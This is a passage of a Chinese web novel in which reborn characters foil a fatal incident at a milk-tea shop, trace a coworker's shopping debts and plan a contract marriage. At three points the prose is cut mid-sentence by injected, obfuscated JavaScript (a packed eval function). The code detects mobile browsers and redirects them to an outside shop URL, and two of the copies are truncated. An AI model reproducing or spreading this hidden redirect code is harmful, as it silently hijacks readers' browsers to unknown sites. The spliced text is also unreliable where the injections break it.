上一世,塌方商场处于试营业阶段。商场前身是一个小的商业街,附近都是矮层商铺,其中就有蓝时奶茶。因为地点好,性价比高,蓝时奶茶是这条商业街的招牌店铺,每天客流量很大。 某天,店铺里有客人闹事。过了半个月,相关店员突然去世。这件事引发媒体争先报道,网上讨论量直线上升。后续闹事的客人被网暴受不了自杀,网上各种舆论才渐渐消退。 很快,大家都遗忘了这件事。 苏淼:【这件事发生没多久,我去找奶茶店老板和其他员工询问,实际情况和网上流传的版本都不同。起因是现实压力大的客人因为店员操作失误给了他别人的奶茶当场情绪失控,把自己的包甩到前台导致店员没站稳摔倒,巧的是手掌正正好好碰到了掉在地上的尖锐杂物,流了好多血。店员是即将大学毕业的心理学学生,这种情况下还是先起身道歉。她看出对方端倪,当面说了一些正确引导的话,发疯的客人缓和后主动陪店员去医院。后来店员出事是因为当时没有立即处理伤口,发生一连串连锁反应,半个多月后就去世了。没想到这件事被一些媒体炒作起来,味道全变了。那名客人本身有心理疾病,结果被网曝,连公司信息都扒出来了,直接想不开……哎,真是悲剧。因为这一系列事,奶茶店没多久也黄了,这条商业街慢慢落寞,最后被收购建了商场。】 这件事陆颂听身边的同事和家人提起过,但不清楚内幕。他本身是心理学教授,曾经被知名节目邀请做过心理顾问,对个别媒体的操作心知肚明。 听到苏淼如是说,对这件事有了新的认识,并想要改变。 陆颂:【你还记得那名心理学学生叫什么名字吗?】 苏淼:【当然记得。因为这件事,我特意把我小说中的角色的名字都改了。那个学生叫陈舒悦。】 凌枫蹙了蹙眉,两根手指无意识地来回搓着,眼睛盯着聊天对话框,手却没有打字的意思,过了一会儿,不断揉搓的手指停住,快速敲打一串字。 凌枫:【确定是这月月底?今天已经六月二十六号。】 苏淼:【绝对是月底!发生时间是晚上。我想想哈……是29号?不对不对……27?28?反正就这几天。要不明天行动?】 这次,群里所有人的回答全部一致,包括刚出完摊的张韧。 六月二十七日,天气晴朗。大下午的太阳毒得狠。沈骁背对着站在空调底下,张开双臂,眯起眼睛,享受着冷风袭击她的后脖领,瞬间觉得自己活过来了。她慢慢睁开眼,发现常好好一直处于情绪不高的状态中,手指头有一下没一下地划着手机屏幕,一句话不说。于是欠欠地坐过去,开解道:“好好,不用焦虑魏筝的事。调查要一点点来,着急没用。你要对自己,对我,对整个团队有信心。” 常好好换了个姿势,懒洋洋地说:“不是因为这个。” “那是因为啥?”沈骁问。 “原本今天是我出道以来,拍的最用心、付出最多汗水的一部戏官宣播出的日子。” 提起这事常好好就难受。出道四年,好不容易接到一部女二戏,全程都打起精神。不是对它有多大期许,而是有重大意义,结果……她狠狠咬着后槽牙,说:“结果因为男主酒后发疯牵连整个剧组,这部戏直接埋了。” 沈骁嗖的一下站起来,“对对对,我想起来了。因为看到剧透和物料,我们寝室的姐妹们可期待了。我上铺的姐们是男主的粉丝,信誓旦旦地告诉我们这部戏绝对爆火。” 还爆火呢?压根没播出来。 常好好身子往后一靠,双手轻柔太阳穴。忽地,手指顿住。她一个鲤鱼打挺蹦起来,慌忙拿起手机,点进热搜一看,有关剧的官宣在热搜第二十四位挂着,惊讶之余手指头都在颤抖,小声嘀咕:“变了,怎么变了,男主也重生了?不可能啊。” 上一世,男主前一天刚录制完恋综节目,结束后节目组聚餐,他喝多了开始大闹酒店。今天上午被相关人员曝光,才有媒体陆续报道,之后冲上热搜第一,词条直接爆了。 因为被软封杀,他后期退圈做生意,根本不在滨城,更不可能出现在新建的商场内。 常好好眼睛眯了眯,笃定道:“他不可能重生。” “很正常,蝴蝶效应嘛,一句话能改变太多人太多事。你没发现我们周边就有很多变化?”沈骁说完看了眼手机屏幕,瞧见时间瞬时弹起,手忙脚乱的一通乱收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248152|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“聊得太嗨,闹钟都没听见,我先去接李嘉晨了。”推开门,人出去一半又退回来,急叨叨地说,“我点了奶茶,马上就到,多的那份你直接给凌枫吧。” 重生回来,沈骁的小日子过得贼滋润。恰巧李嘉晨父亲在外地上班,母亲工作又很忙,平时没有时间管接送,于是沈骁在李嘉晨的帮助下,顺利通过李嘉晨母亲的面试,成功得到接送李嘉晨的工作。 不仅方便几个人聚在一起讨论,还能够赚外快。 “啪”的一声,门被沈骁带上。 两三分钟功夫,奶茶送到。常好好看着面前两杯奶茶,耳边响起沈骁的话,撇了撇嘴:“为啥非要给他一杯,我喝两杯不行?”目光直视两个超级无敌大杯,“……还是给他一杯吧。”两大杯含糖量过高。 如今常好好把凌枫当成自己人,要不是凌枫那张毒嘴,她早就有事没事去他办公室溜达,聊聊接下来的细节。 凌枫办公室内。 常好好轻车熟路拽了一把椅子坐在他办公桌对面,奶茶往前一推,自己吸了一口手中的奶茶。 嗯,味道可以,没有想象中那么甜腻。 她细细品味道,嚼着珍珠,看向奶茶杯身——蓝时奶茶。 “蓝时……”她喃喃自语。名字有些耳熟,总感觉在哪里听到过。脑海里蹦出一条新闻,她用力捂着喉咙处,脸憋得通红。 差一点,差一点点被珍珠噎个好歹。 凌枫拿起桌上的奶茶,看了看却没有喝,轻轻放下,抬起眼,明知故问:“怎么了?” 常好好双眼放光,用力摇晃奶茶,“蓝时奶茶!你记不记得?” “当然记得。”凌枫垂下眼眸,手中把玩着钢笔,“好像是月底发生吧,时间记不太清。” 常好好急得站起来,手掌狠狠地压着桌子,身体前倾,急叨叨地说:“什么月底呀?今天!就是今天晚上!” 望着女人激动的模样,脸颊红扑扑的,凌枫迅速收回视线,手依旧握着钢笔,语气中带着不解:“这么多年过去,你竟然记得这么清楚。” “你不懂。”常好好高涨的情绪瞬间跌落,一屁股坐下,“今天比较特殊,我刷了一天热搜和新闻,想忘记都难。”她的声音降了下来,“等下班我们一起去蓝时奶茶店吧。” 凌枫:“今天不行。” 常好好眉心紧皱。 凌枫解释:“晚上开会。” 常好好眉头皱的更厉害,疑问地“啊”了一声,就这样歪着头观察凌枫好半天,又喝了一大口奶茶,语气中少不了嫌弃的味道,“搞不懂你们这些老板。画大饼就算了,开会为什么一定要选择下班后?”她用不太友好的眼神上下扫了眼凌枫,“你现在很忙吗?” 凌枫拿出放在桌下的手和钢笔,另一只手翻开文件夹。他头一次没有底气,声音比刚才低了一度:“很忙。” 常好好暗中瞪他一眼,头也不回地离开:“算了,你去也未必有用。”嘴那么毒,别给人家顾客气得更疯。 女人消失在眼前,整个办公室回到安静状态。凌枫视线迟迟停留在门口方向,手掌再次紧紧握住钢笔,不知在想些什么。 大约过了一分钟,他拿起手机回拨过去。 21. 危机 下班高峰期,小吃一条街瞬间被年轻人攻占。好多店内都在排队,其中排队最猛的当属蓝时奶茶店。 苏淼吃完午饭便提着电脑到店里光顾,可以说占领了有利地形,只要微微往右偏头,就能看见陈舒悦忙碌的身影。 “叮叮”手机通知音响了。 她划开手机屏幕,看到群里凌枫发来的消息:【常好好已过去,确定是今晚。】 “今天!就是今天!”她深呼一口气,胡乱搓着手,要不是在公众场合肯定手脚并用,这会儿正双手合十,小声嘀咕,“冷静!一定要冷静!不要紧张!千万不能紧张!” 坐在苏淼对面的陆颂与她形成强烈对比。 陆颂放松自如,手指轻轻往上划,每当刷到感兴趣的饮品时便稍微停留,点进详情页看。 刷了半天,他对招牌几款饮品最感兴趣,“新品不错,要不要来一杯?”侧过头去,发现队友依然在祈祷,而且是非常浮夸的那种。 他默默把头别过来,扫视一圈周围的人,毫不犹豫地抬屁股走人,给人一种坐错座位的错觉。与此同时手上不忘下单,然后再次返回到群的聊天记录,整个页面里“常好好”三个字格外亮眼。 陆颂将手机收回裤子口袋里,目光落在蓝时奶茶店门口。 五分钟、十分钟。 没有等到那个人。 他收回视线,转移到工作台内的陈舒悦,一切风平浪静,叫号器有条不紊地工作中。 “美女,现在点单要等很久吗?”一道女声打破“秩序”。 陆颂怔了怔,余光确定声音主人,不动声色地取出手机,快速打下一行字,而后将手机握在手中,观察工作台附近的顾客。 陈舒悦微笑道:“不好意思,现在的话至少等半个小时。” “这样啊。”常好好喃喃自语,目光从陈舒悦移向后面的女店员。 三个店员年龄相仿,到底哪个是出事的那个?别说寻找那位客人了,眼下连店员都没办法锁定。 陆颂的目光始终停留在常好好身上,这是他第一次在对方脸上看到贼兮兮的一面,两颗眼珠子贼溜溜的,头晃来晃去,一会儿前倾,一会儿翘脚,特别像女“贼”。如果没戴棒球帽,很有可能被保安拉走的那种。 店内人爆满,常好好手心里全是汗,整个人处于高度紧张状态。又过了十分钟,她实在忍不下去,暂时闭上双眼,想把眼睛里那股酸涩压下去,再眨巴眨巴睁开眼,眼前依旧是一片和谐。心里难免怀疑。难道记错日子了?不可能啊。 她偏了偏头,往左边看了看,正好迎上一个男人的目光。 “……” 足足愣了五秒钟,她猛地摆正头,身体往右侧转,慌乱之间两只手扭成了麻花,脸被惊得发白,心里嘀咕着:陆颂?他怎么会在这?今天这是什么日子。 等等?他现在应该不认识我吧。 想到这儿,她长舒一口气,面容渐渐恢复血色,表面看着工作台忙碌的店员,实际魂儿已经飘远。 她跟陆颂的关系不知该怎么形容。 上一世,一年后二人才有正式交集。她因为那部女二戏没播出来,损失很多机会,陷入没有剧本找、没有戏拍的困境。后续公司给她找了一部恋综节目做飞行观察嘉宾。同一个节目,陆颂作为心理学顾问参加录制。 那段时间对于常好好来说不好过。 公司认为她“运气不好”,基本半放弃她,给她找的工作都是一些没有热度的综艺飞行嘉宾。她本身性子急,急切想在娱乐圈混点名堂,好打邓家、邓敏的脸,又想要证明给成知聿、成世泽他们看——她做的决定多么正确。 结果呢? 整个一事业低谷期,没闯出来名声就算了,还因为节目恶意剪辑被骂了一波又一波。当时圈里一些本来关系不错的朋友都默默远离她,好像生怕被沾上“运气不好”的标签而被公司舍弃。 至暗时刻,陆颂出现了。他好像一束光,给予她温暖。 如今回头看,她自己也分不清对陆颂到底是真实情感的喜欢过,还是单纯的感激之情。 “奶茶呢?” 欠扁的声音打断常好好的回忆。她朝右转头,凌枫那张帅脸近在眼前。虽然嘴毒,但脸永远看不腻。 嗯,现在不是欣赏美颜的时候。 她收回视线,压低声音问:“你怎么来了?不是开会吗?” 凌枫站的笔直,双手插兜,随着常好好的目光看去,望了一圈附近的人,不以为意地瞥了眼陆颂,接收到对方的眼神,才慢悠悠地回道:“临时有事,取消了。” “哦。”常好好随口应着。 她全神贯注盯着工作台里的三名店员。其中一名店员手忙脚乱,看上去不是老员工,明显对业务不熟练。另一位站在她后面的员工手速极快,单子撕得干脆利落。 还有一位站在收银台旁,边忙碌边与顾客沟通,正是刚刚回答她的那位。 常好好不放过每一处细节,目光跟随三个人。这时那名新手好像遇到一些麻烦,尽管她身体背对着,依然能感受到她的焦急。 忽地,一个拇指大小的零件被她精准捕捉到。 它在空中打了个转,落地的声音特别小,几乎听不见。嗒的一声,连续滚了三下,正正好好落在收银台店员身后一公分的位置。 “是她!”常好好下意识拽住凌枫手腕,原本深思熟虑略带发愁的面容瞬间炸开笑颜。 短短一周,凌枫好似已经习惯女人的反复无常,简单“嗯”了一声,手却没有逃脱魔掌的意思,抬起另一只手轻轻搭在工作台,握成拳头,轻轻敲了一下。声音不大,足够店员听见。 陈舒悦距离前台位置最近,率先走过来,微微歪了歪脑袋,笑着询问道:“你好顾客,请问……” “地上有东西。”凌枫打断她的话,指着地上那颗有些尖锐的小零件。 陈舒悦用迷茫的眼神顺着凌枫手指的方向望去,待看清楚实物,脸色嗖地变了,蹲下身子立即把零件捡起来,随后走到后面与那位新手店员交流着什么。 见状,常好好松了一口气,收回扒着凌枫的手,整个人犹如破了气的气球,一下子没了力气。 她摇了摇头,喃喃自语:“一起共事的人太重要了,一个不小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凌枫听出她语气里隐藏着的失望味道,这种诡异的感觉让他心里不舒服,特别的不舒服。以她的性子,此刻不蹦起来欢呼,至少要抓住他狠狠炫耀一番。 活了三十年,凌枫很少出现这般强烈的好奇心。瞧着女人紧盯着陆颂不放,他眸中暗了暗,条件反射往前走了两步,身体换了个方向。 对于陆颂的出现,常好好心里突突的,不是心动突突突而是怪异的突突突。 这种感觉非常怪,却又说不上来到底哪里怪。 寻思要不要打破上一世的轨迹,早一点与陆颂认识。正迟疑的功夫,前方再次出现一堵密不透风的墙,还是那面熟悉的大铁墙。 “你干嘛?”她自觉退后一小步,仰起小脸,看向男人的脸满是不理解。 凌枫双眼望向其他地方,唇角上扬,开始走装傻路线:“你认识他?” 此话一出,常好好愣在那儿。她不可思议地歪着头,问道:“你……忘了?” 22. 源头 其实早在话刚出口的那一刻,凌枫就后悔了。心里猛地一沉,脸上那点笑意硬撑着没掉下去,嘴角绷紧了些。垂落在大腿侧边的右手悄悄握成拳头状,手指抠住掌心,面上却平静如水。 常好好瞥向男人,发现对方仍然那副淡淡的模样。越淡然越反常,好像她说出这句话有多不合理似的。于是微微低头,陷入思考。 上一世她抓住综艺飞行嘉宾亮相的机会,哪怕短短五分钟镜头也尽力展示,虽然被带节奏黑了一段时间,但至少有了热度。 什么心机闺蜜、绿茶同事、恶毒前任,反派女配的本没少往她手里递,最后还真因为一部恶毒女配有了姓名,开启顶流之路。 三年时间,她从恋综飞行嘉宾里最不起眼的一位做到常驻嘉宾中的C位。因为这部恋爱综艺节目,她和陆颂交集越来越多,网络中开始有人带头磕起他们二人的CP。 她原本眯起的眼突然睁开,瞧了瞧面前的大铁墙,横看竖看都不像是会看恋爱综艺的人,不知道她和陆颂认识也非常合理。 后来成世泽出事,她被警察传唤过两次。第一次除了她以外,安燃和凌枫几人在,那时候陆颂没出现。第二次,成家人和身边的亲朋好友,包括陆颂都在,凌枫却没出现。 也就是说,凌枫和陆颂没在同一个画面出现过。凌枫不认识陆颂,更不清楚她和陆颂有交集。 常好好把事情捋明白,立即换了个态度,从精力充沛到眼神涣散,开始装傻充愣。她摆了摆手,语气里难掩心虚:“我和他不熟,没什么交集。” 凌枫十几岁便通过羽毛球进入大众视野,二十出头已拿下羽毛球世界冠军。拿下冠军后,他担心被捧得太高主动进行心理疏导,自身对心理学也颇感兴趣。常好好脸上的微表情,他全部看在眼里,几乎一眼看穿。缓了几秒钟,他一副“你瞅瞅我信吗”的表情说:“没交集?看起来不像。” 真难缠。 晚上七点多,周边聚集的顾客越来越多。 上一世做顶流的习惯很难一下子改掉,常好好下意识扯口罩,发现自己压根没戴,尴尬之余抬手往下压了压鸭舌帽,巧妙地把话头引开:“人太多,我们先出去再说。”她两只脚踏出奶茶店,双脚带风,走的比谁都快,生怕凌枫赶上来一样。却忽略某男的大长腿,没几步便追上她的步伐。耳边再次响起男人的追问,“你对他不太一样。” 常好好脚步不停,身边的男人保持在她身侧。她自知甩不掉男人,脚下顿住,转过头,“凌枫,你知道眼下最关键的事是什么吗?” 凌枫同样站住,扬了扬眉,没吱声。 “魏筝!”常好好面色凝重,“刚才你看到了吧,看似重点是尖锐的零件,实际真正应该解决的问题是那名顾客,否则会有第二个、第三个、无数个“零件”出现。魏筝的事同理,恶臭渣男是谁确实重要,但却不是源头。” 凌枫一点就通:“嗯,我明白你的意思。” 不愧是优秀的队友,常好好朝他竖起大拇指:“没错,我们不能再耽搁下去。” 蓝时奶茶的事让她有信心的同时很警惕。一定要抓紧时间找出围绕在魏筝身上的谜团,否则晚了就来不及了。说着说着,她把主意打到凌枫身上,大眼睛一眨一眨的,不吭声,就这么紧紧盯着凌枫看。 凌枫了然:“有话直说。” 不愧是无情铁嘴。 常好好感觉装傻子这一套与她本人不搭,干脆换回之前的路线,手臂自然地搭在凌枫肩头,整个人超级松弛:“本来找你想说这事来着,被蓝时奶茶岔了过去。”她停顿片刻想卖个关子,发现男人不接话,心里暗骂几句,表面笑着说,“我从小宋那里打听到魏筝经常跟她分享直播间购买的东西,零食、摆件、家具用品,品类款式应有尽有。怪就怪在魏筝目前住在宿舍,不止沈骁,其他室友同样不清楚她在直播间买东西,别人取快递的时候她都不接话。”这些天她一直在思考沈骁和小宋两方说法为何相差如此之大。刚才一个念头噌地冒出来,“有没有一种可能性,她确实在直播间下单买了许多东西,并且把东西都寄到了公司。” 听完,凌枫说出疑问:“她为何要瞒着身边朋友?” “这点我也没搞明白,所以才要我们继续调查。”说到这里,常好好笑容更甚,话里话外点着凌枫的意思,“来酷誉这么多天,我有观察到公司专门存放快递的位置。” 对面安静如鸡,不接招,嘴闭的严严实实。 她收回手臂,双手交叉在胸前,气不打一处来。她就不明白了,如此帅的脸上咋就出现这么一张嘴!说一声“帮你查监控”会死啊?难怪三十七都不搞对象,这死出谁受得了? 自从跟凌枫合作,常好好发觉自己俨然成为忍者神龟,面对身边那张毒嘴恨得牙痒痒。无奈有求于人,只能叹口气,把心里头的不爽憋了回去,尽可能的平静语气,“只要查看魏筝取快递时的监控,基本能断定她是不是买出超出她工资范围内的东西。” 说完往前看,一米九高的大铁墙已经在不知不觉中走远。 简直无组织无纪律!气得她直跺脚,“凌枫你去哪儿?” 凌枫头也不回,惬意地挥了挥手,毒嘴难得说出常好好愿意听的话。 他道:“看监控。” 目的达到,常好好一点不矫情,小跑几步跟上大长腿的节奏,边走边哼着小曲,仿佛刚才想抓狂的人不是她。 凌枫被她的音色吸引,步子有意慢了下来。两个人一齐迈着步伐往酷誉潮玩走。等走到商场侧门,他轻声说:“常好好。” “什么?” “我们现在是被拴在一根绳上的蚂蚱。” “咱能不能换个比喻形容?” “坦诚相待才是。” “比如?” “比如你和陆颂的关系。” “?” 上一世,她一头闷进娱乐圈大干十二年,工作中各种类型的人都接触过,但像凌枫这种让人看不透且这一出那一出的人不多,罕见至极。 她不明白,凌枫干嘛扒着陆颂不放?请问这是重点吗? 常好好压着火气,尽量心平气和地道:“你认识陆颂?” 凌枫:“见过,不熟。” “那你关注他做什么?” 恰巧这时瞥见小宋从前方电梯里走出来。常好好手压低帽沿,扔下身旁的男人撒腿就跑,临时改走楼梯。待她气喘吁吁跑到五楼,进入到酷誉潮玩监控室,凌枫已帅帅地坐在椅子上。 靠! 下次应该让凌枫躲着走,干嘛总为难自己? 她生起自己的气,默默走到凌枫旁边。紧接着身子一沉,结结实实地陷进椅子里,然后从衣服口袋里搜出纸巾,拿出一片擦拭额边汗水。 本来就累,旁边人还说风凉话:“你该锻炼了。” 去你丫的锻炼! 常好好气没喘匀,说出来的话断断续续:“抓紧时间……干正事……”她取出包里手册,又来回翻了好多次,后来随便找了一页空白,左胳膊肘压在桌子上,右手手指快速点着鼠标,眼睛全神贯注盯监控里的细节,努力寻找魏筝的身影。 当她好不容易发现魏筝,第一时间回过头想要告知男人这个好消息时,看到的就是这副场景——处在她身后位置的男人一条腿伸直,另一条腿随意地跷着,脚腕松松垮垮搭在膝盖处。两条胳膊搭在扶手,脖子往后仰靠向椅背,眼睛半眯着,望着一屋子监控出神儿。 她兢兢业业眼睛都要看瞎了,这货却舒适得像躺在家里沙发放空。 这特么的合理吗? 她眯了眯眼,视线死死盯住凌枫,胸前微微起伏,一口气堵在嗓子眼,上不来下不去。 再仔细看男人那惬意忘我的样子,心头的火苗噌噌往上冒,越烧越旺。她一下子从座位上弹起来,咬紧牙根,嘴上骂骂咧咧:“我在这忙得要死,你倒是挺会享受呀,这脸皮墙外都能摸到。用不用我把走廊里的沙发给你搬进来?你往里一躺更舒服。” 凌枫正想着陆颂,对面愤怒的声音插了进来,直接打断了他的思路,只听女人又道:“你到底有没有在听我说话?” 他眼皮慢慢抬起,看向女人。她气得腮帮子鼓起来,脸因为气愤上头而通红,双手叉腰,语气凶巴巴的,模样倒不怎么凶,但也能看出好像受到了天大的委屈。 他不急于辩解,在对方带着不满的注视下显得过分平静。右手伸进裤兜里,不慌不忙地摸出手机,手指在屏幕上划了一下,稍微停顿了两秒钟,好像在确认内容,随后把视线投向常好好,将手机慢悠悠地递到她眼前。 手机屏幕上显示着凌枫与方琴的聊天记录。 愤怒很快被好奇心打败。常好好身子猛地向前一探,几缕发丝从肩头滑落,垂在脸颊边也顾不上捋,脑袋瓜歪着,目光向下,直直地落在亮着的屏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凌枫被扑面而来的题目困住,脸上的表情介于“听懂了”和“完全没听懂”之间的状态。他眉头皱起,疑惑道:“我们现在?” “对啊,此时此刻的我们是并肩作战的战友。”常好好扭过头去,一把拿起桌上的笔,不客气地塞到凌枫手里,“所以,可以开始记录了吗?” “……” 于是,一男一女奋战在监控前,一个负责看、一个负责记,分工明确。 “果然如此。”常好好一直紧绷着的肩膀忽然放松许多,刚才还拧着的眉头也舒展开,手指着监控画面,“源头就在这里。” 难怪小宋误以为魏筝是富二代。 好家伙! 一个月以来,魏筝收到的快递包裹比她半年都多,她还是那种在购物软件上刷到有意思的物品忍不住下单的人,可想而知魏筝到底买了多少东西。 凌枫放下纸笔,活动活动手,“我之前查看过,魏筝每月到手工资四千一百多。以她现在的购买力,工资只够付零头。” 常好好懂凌枫的意思,下意识叹了一口气。 有些物品价格十块二十块,看似并不昂贵,架不住它多啊。 魏筝因为看直播上瘾疯狂下单,导致钱不够付只能贷款。结果越贷越多,贷款还不上,那样老实巴交的人竟然去挪用公司公款。谁知被人抓到把柄威胁,最后出卖自己的灵魂。 “接下来的事情交给你了,我还有更重要的事去做。”凌枫手往扶手上一撑,没用多少劲,身子就利索地站了起来,动作干脆没一点拖沓,“晚上我会给你发一个文件,别忘了接收。” 话落,没有一点不舍,头也不回地离开,留下常好好愣在原地,大脑断了信号似的。 文件? 难道是合约? 晚上十一点。 常好好双腿盘起坐在沙发上,脑袋一下一下地点着,仿佛下一秒便直接栽进抱枕里彻底睡死过去。 就在这半梦半醒的关键时刻,手机发出一声“叮”!惊得她浑身一抽,心脏砰砰砰狂跳,犹如从迷糊的状态里被人粗鲁地拽了出来。 她带着怒气一把抓过手机,眯着酸涩的眼,烦躁又急切地望去。 消息是凌枫发来的,还真是一个文件。 她打了个大哈欠,手指轻轻点进去,然后……然后她就傻眼了。 23. 困惑 神经病啊? 结婚协议书一百页是不是有点过分了? 常好好目光落在茶几上那厚厚一摞《重生计划手册》,嘴角不自觉抽了抽,一时间竟不知道凌枫和沈骁谁更离谱。 对话框再次冒出一条新的消息—— 【毒舌枫神:明天我会把纸质版交给你,里面若有你不能接受的地方,我们可以再沟通。没有问题的话,我们找个时间尽快公证签字,免得影响接下来的计划。】 常好好喜欢和欣赏凌枫公事公办的态度。一看就对她不敢兴趣,不用担心重回上一世被王洋纠缠还甩不掉的处境。 假结婚和其他不一样,像他们这种互不干扰,甚至互相瞧不上,更有助于他们合作长久。 得!彻底清醒! 感觉脑子异常清楚,就算现在立刻躺下也睡不着。她叹了口气,认命似的站起身原地直直腰,拐个弯走到书房找出抽屉里的平板电脑。回到客厅窝在沙发侧边的软椅里登录账号、接收文件,点开结婚协议书从第一页开始看起。 第二天,她难得画了个全妆去酷誉。以她的懒和平时的风格,是不会在没有录影的日子里画如此精致的妆容。 为什么会这样呢? 因为熬夜熬的黑眼圈没法看,她怕出门把别人吓到。 沈骁进入公司,热情地跟人来人往的员工打招呼。推开办公室的门发现常好好不在里面,放下包包去茶水间,一眼在人群里瞄到熟悉的身影。眼睛“唰”地一下就亮了,一眨不眨,生怕一眨眼人就不见了。 她嘴角根本控制不住,拼命往上翘,笑得又傻又开心,露出两排牙花子:“我去了好好!你今天特别不一样,好像女团啊,你是不是要改风格了?” 大嗓门是沈骁的个人特色。 怕她一激动说出不该说的,让别人察觉到他们有秘密。常好好一手端着咖啡杯,一手挽起沈骁朝着办公室走,等到达目的地,翻出本子递给她:“重点全被我用蓝色笔标出来,你看看。” 沈骁上一秒嬉皮笑脸,下一秒看笔记本里的内容一点笑不出来,嘴巴微微张开,仔细看能看到唇瓣抖了抖。 她看着常好好,满脸不敢置信:“她真的取了这么多箱快递?” 常好好点头:“千真万确。” 沈骁一下子泄气,与刚才的兴致满满形成强烈对比,“原以为我们无话不谈,没想到我一点都不了解她。” 想到魏筝上一世的结局,常好好心里同样不好受。这些天她经常暗中观察魏筝,发现魏筝是一个开朗的女孩,没有那么多弯弯绕绕。她拍了拍沈骁,安慰着说:“大概是怕你们发现她乱花钱,又或者是她知道自己的购物欲很可怕,更不敢跟你们透露。”说到这里顿了顿,“我跟魏筝表面交集不多,接下来跟她的沟通还要你来做,一定不能急躁。” “我明白。”沈骁用力点头,脸上第一次这般严肃认真,“就算她不乐意听,我也要说出来,总不能看着她再次往火坑里跳。” 沈骁这人虽然比较跳脱,但是不会说大话,更不会胡来。 常好好没再多说靠在椅背上,目光飘远,嘴上小声嘀咕:“接下来我有的忙了。” 沈骁不明白,反问道:“啊?你还有什么事?” 常好好露出神秘的微笑:“结婚啊。” 沈骁嘴咧得贼老大:“啊???” 等常好好踏出屋子,门被带上,她还僵在那里,维持着刚才的姿势不变,脑子里白茫茫一片,嘟囔一句:“和谁结婚?”好几分钟过去,才后知后觉地拍了下脑门,“瞅我这脑子,还能和谁结婚,当然是凌枫了。” 早上的阳光暖得恰到好处,晒在胳膊上一点也不烫。常好好双手举起窗台上放置的迷你花盆,上看下看,左看右看,最终视线落在小小的仙人球上。 不得不说凌枫有两把刷子,仙人球被他养得很好,看上去更有生命力了。 她看得有点出神,可能连自己都没察觉,手指自然地伸过去,想要用指尖轻轻触碰边缘,犹豫再三,还是把手收了回去。 凌枫站在女人身后几步远的地方。 清亮的太阳光穿过窗户,正好打在她身上。女人弯着腰,把长长头发随意扎个马尾辫,手指头一会儿往前,一会儿放下,偶尔蹲下身子,观察小小的仙人球。 眼前这景象,猛地把他拽回十一年前。同样是早上,在家里南面大客厅的阳台,她也这么蹲着,脸上挂着笑,摆弄着盆里的多肉。 她的左边是凌楷,右边是成世泽。两个人在她身后较劲,抢唯一一个喷壶。 从小到大,两名保镖保护大小姐的场景数不胜数。 成世轩本身比他们大,早就看透每个人的小心思,每当成世泽和凌楷争得不可开交时,他立即摆出大哥的姿态出面解决,两个人倒是都给他面子。 这个时候凌枫一般冷眼旁观,仿佛跟他们不在一个星球。 十二岁那年,凌枫从父母那里知道有关成家的事情——成知聿不是成青林的亲儿子,常好好跟成知聿没有血缘关系。 除此之外,他也知道自己与常好好在长辈们眼里早已被绑定的关系。 这种滋味不好受,一直伴随着他的生活,直到常好好当着众人的面主动与他切割。 凌枫盯着常好好的背影,半天没挪开,眼神跟过去不一样了。 以前瞧见她心里头就厌烦,像看一块碍事的石头,恨不得立刻绕开。 现在目光触及到她时仍会下意识地皱眉,但那不是厌烦,倒像是困惑。困惑自己怎么就没从前那般讨厌她了。 不远处的女人放下花盆,显然放弃了研究仙人球,手朝书架伸过去。 凌枫目光在常好好脸上停了又停。换作一个月前,他无论如何都不会相信自己有一天会和曾经那么讨厌的人合作。 好像想印证一些事,他开口问道:“你觉得世泽是一个怎样的人?” 常好好正望着书架,手指划过书的封面,默念每一本书名,想要通过书籍判断凌枫的认知和喜好。还没琢磨出个一二三来,背后冷不丁响起让她翻白眼的问题。 眼前这家伙又犯什么病? 不会从以前到现在压根没信任过她吧。 “凌枫,我说了很多次,成世泽出事跟我没半毛钱关系。”她刚才脸上那点笑意消失得干干净净,眉头拧了拧,眼神也变了,定定地看向凌枫,目光里有种不容闪躲的力量,“我相信你是一个理性的人,同时是聪明人,能够分辨事实和恶意带节奏的区别。” 都说文体不分家,他好歹参加过综艺节目,肯定清楚圈里的舆论导向有多可怕。 真想整一个人,还不信手拈来? 以前和朋友随随便便一句玩笑话都能上升到意想不到的高度,更何况其他?她继续道:“我承认我有很多缺点,但我是个正常人,就算再不喜欢成世泽和邓敏,也不会想到噶人。因为我不是缺心眼。” “想多了。” “啥?” “字面意思。” “所以呢?我对他的看法很重要吗?” “他快回来了。” “哦,他回来影响我们啥?” “我们需要沟通。” 跟凌枫相处了一段时间,常好好依然摸不清他那时好时坏的语言功能。要么毒舌给你气吐血,要么几个字几个字往外蹦,说话不说全。 咋的,给别人出完形填空呢,全靠对方猜是吧。 她看着凌枫一本正经的脸,气得想笑,翻了一个大白眼:“你别告诉我,你要和他坦白重生的事?我劝你别,他知道的越多对他越没好处,说不定事而其反,反而打草惊蛇。” “不是。”凌枫嘴唇张开又合上,垂下眼皮,盯着花盆里小鼻嘎似的仙人球,好像仙人球能替他说话。后来干脆放弃,目光装作不经意微微划过常好好的鹅蛋脸,说出来的话硬邦邦,“只想告诉他,我们要结婚了。” 不理解,非常不理解。 常好好搞不通凌枫的脑回路。 为什么结婚一定要跟成世泽沟通? 大概跟沈骁同学呆久了,她脑洞大开,被自己的想法震惊,无意识地咽了咽口水,眼神里掺着 